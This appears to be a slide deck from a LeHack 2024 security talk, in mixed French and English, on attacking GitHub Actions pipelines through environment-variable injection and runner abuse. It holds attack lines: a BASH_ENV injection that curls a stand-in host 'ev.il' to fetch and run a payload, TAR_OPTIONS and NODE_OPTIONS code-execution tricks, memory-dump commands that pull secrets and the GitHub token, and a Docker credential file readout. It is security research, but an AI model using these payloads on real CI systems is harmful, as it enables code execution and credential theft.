${{GITHUB_ENV}}
Looking at stuff close to pipeline
Presenting 3 subject in 10 minutes
# LeHack 2023
Too slow
Presenting 4! subjects in 10 minutes
# LeHack 2024
4 < 3
https://slides.com/tr4l/2024/
So learn from the past, and try to do more !
# LeHack 2024 - Agenda
-
StorageDiagnostic
(Nan, partez pas, on va parler de euh ? lsass ?) -
LOTP : (rien à voir avec de l'OTP)
-
NODE_OPTIONS
-
BASH
-
Workflow Command (ça fait plus 4 ça !)
-
JAVA (Hey, stop !)
-
XZ (10 fois plus simple, 10 fois efficace)
-
En vrac...
Tr4l OP, he will be nerfed (again)!
# LeHack 2024 - Who am I
Blah, blah blah
Who: Tristan/Zmx/Tr4l
Some link:
- https://github.com/tr4l
- https://steamcommunity.com/id/badassEngie/
- https://twitter.com/Tr4LSecurity
- https://fr.linkedin.com/in/tral
STORAGEDIAGNOSTIC: POWERSHELL STUFF
# StorageDiagnostic
Youpee, je viens aux rumps pour voir un disk sain ...
STORAGEDIAGNOSTIC: POWERSHELL STUFF
# StorageDiagnostic
Hein ? C'est quoi ce live dump ?
STORAGEDIAGNOSTIC: POWERSHELL STUFF
# StorageDiagnostic
Vu la taille, c'est pas mon disque en tout cas
STORAGEDIAGNOSTIC:
WINDBG STUFF
# StorageDiagnostic
Oh mais finalement c'est pas si mal
STORAGEDIAGNOSTIC:
WINDBG STUFF
# StorageDiagnostic
Bingo
Text
STORAGEDIAGNOSTIC:
CONCLUSION
# StorageDiagnostic
L'EDR qui bitch pas, c'est normal je diagnostic mon disque, c'est legit =)
- Aucun EDR n'a été maltraité
- Pour mimikatz le dump, il faut une machine sans EDR
- Si on est fort en windbg, j'imagine qu'on a pas besoin
- On doit pouvoir coupé des bout de dump ?
STORAGEDIAGNOSTIC:
( Transition naze)
# StorageDiagnostic
Oh mon dieu ...
-
Get-StorageSubSystem
-
lolbin, powershell ?
-
LOTP: Living of the p???
LOTP: KEZAKO
# LOTP
Lord of the pipeline ?
LOTP: WHY ?
# LOTP
Vous n'avez pas les bases ? Parceque vous êtes trop con..centré sur d'autre sujets.
Injection dans les workflow:
- https://b611.github.io/pipelines
- https://www.sstic.org/2024/presentation/
action_man_vs_octocat_github_action_exploitation/ - GitHub Actions exploitation: introduction (synacktiv.com)
LOTP: Example MAVEN
# LOTP
File write to code exec. Un peu comme makefile, normal quoi...
LOTP: Nothing for node ?
# LOTP
Javascript is secure ?
NODE_OPTIONS
# NODE_OPTIONS
Wait ? Why ?
https://github.blog/changelog/2023-10-05-github-actions-node_options-is-now-restricted-from-github_env/
NODE_OPTIONS
# NODE_OPTIONS
Oh OK, ENV to CODE EXEC
NODE_OPTIONS
# NODE_OPTIONS
Et assez simple en plus.
NODE_OPTIONS =
`--experimental-loader="data:text/javascript,console.log('injection');"`;
NODE_OPTIONS
# NODE_OPTIONS
FILE WRITE + ENV: we are already covered
So, FOCUS on ENV only
CREDIT: HUGO VINCENT
NODE_OPTIONS: MAVEN
# NODE_OPTIONS
If node can do it, surely MAVEN can do it too!
NODE_OPTIONS > MAVEN_ARGS
# NODE_OPTIONS
Most action use NODE, that's why it's cheated
Action type | |
---|---|
Node | 69 225 |
Composite | 16 524 |
Docker | 1 361 |
Maven | N/A |
NODE_OPTIONS: Steps ?
# NODE_OPTIONS
That's a lot of RUN
Step type | |
---|---|
Run | 52 611 |
Not RUN | 49 869 |
NODE_OPTIONS: Docker ?
# NODE_OPTIONS
Not really a challenge, not a lot of action. Need an evil docker host
DOCKER_HOST = xxxx
HTTP_PROXY = xxxx
NODE_OPTIONS: actions/cache
# NODE_OPTIONS
Celui là il est gratuit :D, mais je vous laisse quand même creuser la command à passer
Action use to get/save cache to speed some task
Often use TAR on linux runner (95% of the time ?)
TAR_OPTIONS = --to-command /bin/bash
https://grep.app/search?q=actions/cache&filter[path][0]=.github/
Showing 1 - 10 out of 37 012 results
BASH: RUN
# BASH
Back to basis. The most used step!
BASH: RUN DEFAULT SHELL
# BASH
Did you know /bin/sh is often a link to /bin/dash ?
BASH: UNDER THE HOOD
# BASH
Seems some safe default
/usr/bin/bash \
--noprofile # erf
--norc # damn
-e -o pipefail "tmp-$UUID.sh"
BASH: SOME ENV
# BASH
Fun OPTS: xtrace
BASH_ENV | Need a file, but seems nice |
---|---|
HOSTFILE | For playing with host |
INPUTRC | Need a file, and blocked by -norc |
SHELLOPTS | Some fun OPTS to set |
PROMPT_COMMAND | Only exec on interactive mode |
BASH: I LIE. Use an (existing) file
# BASH
Did not write it myself, so it's not a lie right ?
BASH: I LIE. Use an (existing) file
# BASH
And somewhere they are my payload
BASH: Simple workflow
# BASH
This is a demo, not a PoC on how to inject
BASH: Simple workflow result
# BASH
That's a lot of log for a simple "curl perdu.com"
BASH: Cooler BASH_ENV
# BASH
Cool guy don't lie.
BASH: Code Executionception
# BASH
Bashception !
BASH: Code Executionception
# BASH
Parcequ'on va pas se mentir, si on a ENV injection on fait surement du Shell deja.
echo \
'BASH_ENV= \
$(curl http://ev.il > pl; echo pl)' \
>> $GITHUB_ENV
Le curl est executé pour telecharger le fichier "pl"
On echo "pl", vu que BASH_ENV attend un nom de fichier
Le fichier pl est executé avant même le debut des instruction du .sh
99% de succès (à vue de pif)
Github Workflow command
# WORKFLOW Command
Oui, c'est juste du STDOUT... Du coup les ninja poussent des ZIP pourri
Github Workflow command
# WORKFLOW Command
* Except with ENV ACTIONS_ALLOW_UNSECURE_COMMANDS
::set-output name={name}::{value} | Setting output var of your workflow/jobs/step |
---|---|
::set-env name={name}::{value} | Deprecated* |
::add-mask::{value} |
Mask value in the log |
::stop-commands::{endtoken} | Stop commands execution until token |
Github Workflow command:
::add-mask::
# WORKFLOW Command
Useful for dynamic secret
Github Workflow command:
::stop-commands::$token
# WORKFLOW Command
Comme ça, ça bloque vraiment le ninja avec ses ZIP pourri là
Github Workflow command:
Injection combo
# WORKFLOW Command
L'arroseur arrosé...
on: push
jobs:
generate-a-secret-output:
runs-on: ubuntu-latest
steps:
- id: sets-a-secret
name: Generate, mask, and output a secret
run: |
INJECTION POINT
the_secret=$((RANDOM))
echo "::add-mask::$the_secret"
echo "secret-number=$the_secret" >> "$GITHUB_OUTPUT"
JAVA: Super used in workflow
# JAVA
Ca change tout les 10 ans, pas facile à suivre
JDK_JAVA_OPTION =
_JAVA_OPTION =
OTHER_JVM_SPECIFIC =
Maven, playwright, .... euh ?
agentlib:jdwp=transport=dt_socket, # Java debug wire protocol
server=n, # Not a server, will connect to..
address=localhost:1234, # this adress
suspend=y # and wait for instruction
JAVA: DEBUG !
Evil side, we listen
# JAVA
Comme gdb, mais en mieux !
jdb \
-connect
com.sun.jdi.SocketListen:localAddress=127.0.0.1,port=1234
JAVA: DEBUG
# JAVA
Maybe I should have clean a real project for a better screenshot
JAVA: DEBUG
# JAVA
And that's all I need ?
jdb -connect com.sun.jdi.SocketListen:localAddress=127.0.0.1,port=1234
step
eval new java.lang.Runtime().exec("touch pipi")
exit
XZ:
- 10 fois plus simple
- 10 fois plus efficace
# XZ
Mais parlez moi de Peter après deux trois bières... Mais surtout pas de Nicolas
Trop de monde dans la rump.
File Injection with action
# En vrac
Expecialy good with POST step action that no one look at
Action are checked out at the start of the job.
With predefined path.
echo "console.log('nope');" \
> /home/runner/work/ \
_actions/actions/ \
upload-artifact/v4/dist/ \
upload/index.js
Root runner
# En vrac
Some expert use complicated docker stuff to gain root access...
You have sudo on the runner by default !
Jobs persistance
# En vrac
Or whatever, you are root
You can pop a process on step1 in background
It will run until all steps of jobs finish
Dump memory and get cool stuff
# En vrac
Cesar toussah
... | grep -aoE '\{"fileTable":.*null}}' | jq '[.variables[] | select(.isSecret == true)]'
... | grep -aoE '\{"fileTable":.*null}}' | jq '.mask'
... | grep -aoE '\{"fileTable":.*null}}' | jq '.variables."system.github.token".value'
etc ...
Docker creds
# En vrac
Probably read-only. Didn't test it
cat /home/runner/.docker/config.json
{
"auths": {
"https://index.docker.io/v1/": {
"auth": "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I="
}
}
# githubactions:3d6472b9-3d49-4d17-9fc9-90d24258043b
Sample
# Sample
Code
By Tr4l
Code
- 329